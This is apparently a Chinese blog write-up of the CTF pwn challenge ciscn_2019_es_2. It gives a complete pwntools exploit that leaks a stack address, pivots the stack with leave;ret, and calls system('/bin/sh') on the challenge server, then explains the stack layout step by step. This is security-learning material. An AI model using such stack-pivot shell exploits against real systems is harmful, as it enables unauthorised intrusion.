ciscn_2019_es_2

ciscn_2019_es_2

1.IDA分析

 

 存在栈溢出漏洞,但是只能溢出8个字节。基本就是要栈迁移了,但是自己对栈迁移的利用还是不怎么会。

2.checksec

 

3.解决

exp参考:https://www.cnblogs.com/remon535/p/13507217.html

from pwn import *
from LibcSearcher import *
context.log_level='debug'


p=remote('node4.buuoj.cn',27101)
#p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
sys_plt=0x8048400
leave_ret=0x8048562

py='a'*0x27
p.sendlineafter('name?\n',py)
p.recvuntil('\n')
ebp=u32(p.recv(4))

payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh'
payload=payload.ljust(0x28,'\0')
payload+=p32(ebp-0x38)+p32(leave_ret)
p.sendlineafter('\n',payload)
#gdb.attach(p)

p.interactive()

 

py='a'*0x27
p.sendlineafter('name?\n',py)
p.recvuntil('\n')
ebp=u32(p.recv(4))

首先利用第一次输入泄露出上一个函数的栈地址,用于计算输入的栈的地址。

 

payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh'
payload=payload.ljust(0x28,'\0')
payload+=p32(ebp-0x38)+p32(leave_ret)

执行leave前:

esp: aaaa
  sys_plt
  p32(0)
  ebp-0x28
  /bin
  /sh\x00
  ....
  ebp-0x38
  leava_ret

 

 

 

 

 

 

 

 

 

ebp=esp+0x28

执行leava后:

ebp: aaaa
  sys_plt
  p32(0)
  ebp-0x28
  /bin
  /sh\x00
  ....
  ebp-0x38
 esp: leava_ret

 

 

 

 

 

 

 

 

 

 

再执行一个leave:

  aaaa
esp:  sys_plt
  p32(0)
  ebp-x028
  /bin
  /sh\x00
  ....
  ebp-0x38
  leava_ret

 

 

 

 

 

 

 

 

 

 

ebp:0x61616161

 

posted @ 2021-07-20 11:13  mio_yy  阅读(595)  评论(0)    收藏  举报